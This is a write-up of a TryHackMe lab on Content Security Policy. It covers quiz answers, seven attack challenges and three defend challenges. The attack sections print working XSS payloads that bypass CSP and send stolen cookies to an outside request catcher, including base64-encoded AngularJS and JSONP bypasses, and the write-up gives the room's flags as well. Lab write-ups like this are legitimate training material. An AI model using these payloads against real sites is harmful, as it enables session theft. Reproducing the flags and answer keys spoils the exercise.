In this room you’ll learn what CSP is, what it’s used for and how to recognize vulnerabilities in a CSP header.
THM Room https://tryhackme.com/room/csp
TASK 1 : Introduction
What does CSP stand for?
Answer : Content Security Policy
CSP is designed to add an additional layer of protection against the exploitation of what vulnerability?
Answer : XSS
In which part of the HTTP response does the server usually send the policy to the client?
Answer : header
TASK 2 : Directives
Which directive can we use to restrict the loading of scripts on our website?
Answer : script-src
Which directive can we use to restrict the loading of videos on our website?
Answer : media-src
If we want to log CSP violations, which directive do we need to set to have the browser report violations to us?
Answer : report-uri
TASK 3 : Sources
If we want to allow script execution via functions such as eval() from already trusted scripts, what source should we allow in our script-src directive?
Answer : ‘unsafe-eval’
What directive-source combination should we add to our policy if we want to specifically block all JavaScript content from running on our website?
Answer : script-src ‘none’
TASK 4 : Creating a Content Security Policy
What hashing algorithm can you use to verify the scripts being loaded? (Without the numbers)
Answer : SHA
Can you include the URLs of the permitted scripts directly in your security policy? (Yes / No)
Answer : Yes
TASK 5 : Bypassing a Content Security Policy
If Ajax/XHR requests are blocked, can we still exfiltrate sensitive information? (Yes / No)
Answer : Yes
TASK 6 : CSP Sandbox
I have deployed the CSP Sandbox machine.
No Answer.
TASK 7 : CSP Sandbox :: Attack challenges
Flag for attack-1
First, set up a http request receptor : https://beeceptor.com/console/csptest URL to exfiltrate de data.
Then use https://csp-evaluator.withgoogle.com/ to get the CSP’s with the IP
The CSP from CSP evaluator :
1
2
default-src *
'unsafe-inline';
I tried
1
<script>alert(1)</script>
and it works. Then,
1
<BODY ONLOAD=fetch(`https://csptest.free.beeceptor.com/${document.cookie}`)>
But it was not working. I changed my script tag by loading a crafted image calling the exfiltration URL adding the cookies :
1
<script>new Image().src="https://csptest.free.beeceptor.com?c="+document.cookie;</script>
On beeceptor :
1
GET /?c=flag=THM{Th4t_W4s_Pr3tty_3asy}
Answer : THM{Th4t_W4s_Pr3tty_3asy}
Flag for attack-2
For the second question, the CSP was :
1
2
3
default-src *;
style-src 'self';
script-src data:
I tried a default xss working attack :
1
<script src="data:application/javascript,alert(1)"></script>
Then encoded in base64 the fetch call :
1
2
3
4
5
fetch('https://csptest.free.beeceptor.com/${document.cookie}')
ZmV0Y2goJ2h0dHBzOi8vY3NwdGVzdC5mcmVlLmJlZWNlcHRvci5jb20vJHtkb2N1bWVudC5jb29raWV9Jyk=
<script src="data:;base64,ZmV0Y2goImh0dHBzOi8vY3NwdGVzdC5mcmVlLmJlZWNlcHRvci5jb20vJHtkb2N1bWVudC5jb29raWV9Iik="></script>
This give me the flag :
1
/flag=THM%7BUs1ng_data:_1snt_Any_S4fer%7D
Answer : THM{Us1ng_data:_1snt_Any_S4fer}
Flag for attack-3
I got the CSP :
1
2
3
4
default-src 'none';
img-src *;
style-src 'self';
script-src 'unsafe-inline'
I tried :
1
"/><script>alert(1337);</script>
This one worked, i could then crafted the following XSS :
1
2
3
<script>new Image().src="https://csptest.free.beeceptor.com?c="+document.cookie;</script>
/?c=flag=THM{Th4ts_N0t_4n_1m4ge!!}
Answer : THM{Th4ts_N0t_4n_1m4ge!!}
Flag for attack-4
CSP :
1
2
3
4
5
default-src 'none';
style-src * 'self';
script-src 'nonce-abcdef'
"/><script nonce="abcdef">alert(1337);</script>
Works beacuse nonce-abcdef allows for scripts
Then with the extraction of cookies :
1
2
3
<link id="test" rel=stylesheet href="" /><script nonce="abcdef">document.getElementById('test').href="https://csptest.free.beeceptor.com/" + document.cookie;</script>
/flag=THM%7BStyle_Y0ur_W3bs1teS%7D
Answer : THM{Style_Y0ur_W3bs1teS}
Flag for attack-5
CSP :
1
2
3
4
default-src 'none';
style-src 'self';
img-src *;
script-src 'unsafe-eval' *.google.com
I checked the explanations :
1
2
3
4
5
6
7
8
script-src
Host whitelists can frequently be bypassed. Consider using 'strict-dynamic' in combination with CSP nonces or hashes.
'unsafe-eval'
'unsafe-eval' allows the execution of code injected into DOM APIs such as eval().
error *.google.com
www.google.com is known to host JSONP endpoints which allow to bypass this CSP.
From this, i google JSONP and found a JSONP.txt interesting file on github :
https://github.com/zigoo0/JSONBee in jsonp.txt
With those example, i crafted my script tag XSS :
1
2
3
<script src="//accounts.google.com/o/oauth2/revoke?callback=eval(document.location='https://csptest.free.beeceptor.com/'.concat(document.cookie))"></script>
/flag=THM%7BN0_JSONP_D0mains_Plz%7D
Answer : THM{N0_JSONP_D0mains_Plz}
Flag for attack-6
CSP :
1
2
3
4
default-src 'none';
img-src *;
style-src 'self';
script-src 'unsafe-eval' cdnjs.cloudflare.com
Searching for cdn cloudflare csp bypass : https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
It’s base64 encoded because of rendering error in the framework I use :
1
PHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL3Byb3RvdHlwZS8xLjcuMi9wcm90b3R5cGUuanMiPjwvc2NyaXB0PgogCjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9hbmd1bGFyLmpzLzEuMC44L2FuZ3VsYXIuanMiIC8+PC9zY3JpcHQ+CiA8ZGl2IG5nLWFwcCBuZy1jc3A+CiAge3sgeCA9ICRvbi5jdXJyeS5jYWxsKCkuZXZhbCgiZmV0Y2goJ2h0dHA6Ly9sb2NhbGhvc3QvaW5kZXgucGhwJykudGhlbihkID0+IHt9KSIpIH19CiA8L2Rpdj4KIAoiPjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FuZ3VsYXIubWluLmpzIj48L3NjcmlwdD4gPGRpdiBuZy1hcHAgbmctY3NwPnt7JGV2YWwuY29uc3RydWN0b3IoJ2FsZXJ0KDEpJykoKX19PC9kaXY+CgoiPjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FuZ3VsYXJqcy8xLjEuMy9hbmd1bGFyLm1pbi5qcyI+IDwvc2NyaXB0Pgo8ZGl2IG5nLWFwcCBuZy1jc3AgaWQ9cCBuZy1jbGljaz0kZXZlbnQudmlldy5hbGVydCgxMzM3KT4=
I tried console.log(1) call :
It’s base64 encoded because of rendering error in the framework I use :
1
PHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2FuZ3VsYXIuanMvMS40LjYvYW5ndWxhci5qcyI+PC9zY3JpcHQ+CjxkaXYgbmctYXBwPiB7eydhJy5jb25zdHJ1Y3Rvci5wcm90b3R5cGUuY2hhckF0PVtdLmpvaW47JGV2YWwoJ3g9MX0gfSB9O2NvbnNvbGUubG9nKDEpOy8vJyk7fX0gPC9kaXY+
It works, i follow then with the cookie exfiltration ;
It’s base64 encoded because of rendering error in the framework I use :
1
2
3
PHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2FuZ3VsYXIuanMvMS40LjYvYW5ndWxhci5qcyI+PC9zY3JpcHQ+CjxkaXYgbmctYXBwPiB7eydhJy5jb25zdHJ1Y3Rvci5wcm90b3R5cGUuY2hhckF0PVtdLmpvaW47JGV2YWwoJ3g9MX0gfSB9O2RvY3VtZW50LmxvY2F0aW9uPSJodHRwczovL2NzcHRlc3QuZnJlZS5iZWVjZXB0b3IuY29tLyIuY29uY2F0KGRvY3VtZW50LmNvb2tpZSk7Ly8nKTt9fSA8L2Rpdj4KCg==
/flag=THM%7BTrust_N0_CDN%7D
Answer : THM{Trust_N0_CDN}
Flag for attack-7
CSP :
1
2
3
4
default-src 'none';
media-src *;
style-src 'self';
script-src 'self'
XSS script :
1
2
3
<script src="/'; new Audio('https://csptest.free.beeceptor.com/' + document.cookie); '"></script>
/flag=THM%7BTh1s_4udio_S0unds_N1ce%7D
Answer : THM{Th1s_4udio_S0unds_N1ce}
TASK 8 : CSP Sandbox :: Defend challenges
CSP :
1
script-src 'self'
You have successfully defended the server against attackers! Here’s your reward: THM{N0_0utside_S0urces}
Answer : THM{N0_0utside_S0urces}
What is the flag for defend-2?
CSP :
1
script-src 'nonce-ae3b00'
You have successfully defended the server against attackers! Here’s your reward: THM{M4k3_Sure_Y0ur_N0nce_1s_R4ndom}
Answer : THM{M4k3_Sure_Y0ur_N0nce_1s_R4ndom}
What is the flag for defend-3?
Using https://report-uri.com/home/hash for the hash of the script : console.log(“__defend-3_REAL=true”)
CSP :
1
script-src 'sha256-8gQ3l0jVGr5ZXaOeym+1jciekP8wsfNgpZImdHthDRo='
You have successfully defended the server against attackers! Here’s your reward: THM{Hash_Y0ur_1nl1ne_Scr1pts}
Answer : THM{Hash_Y0ur_1nl1ne_Scr1pts}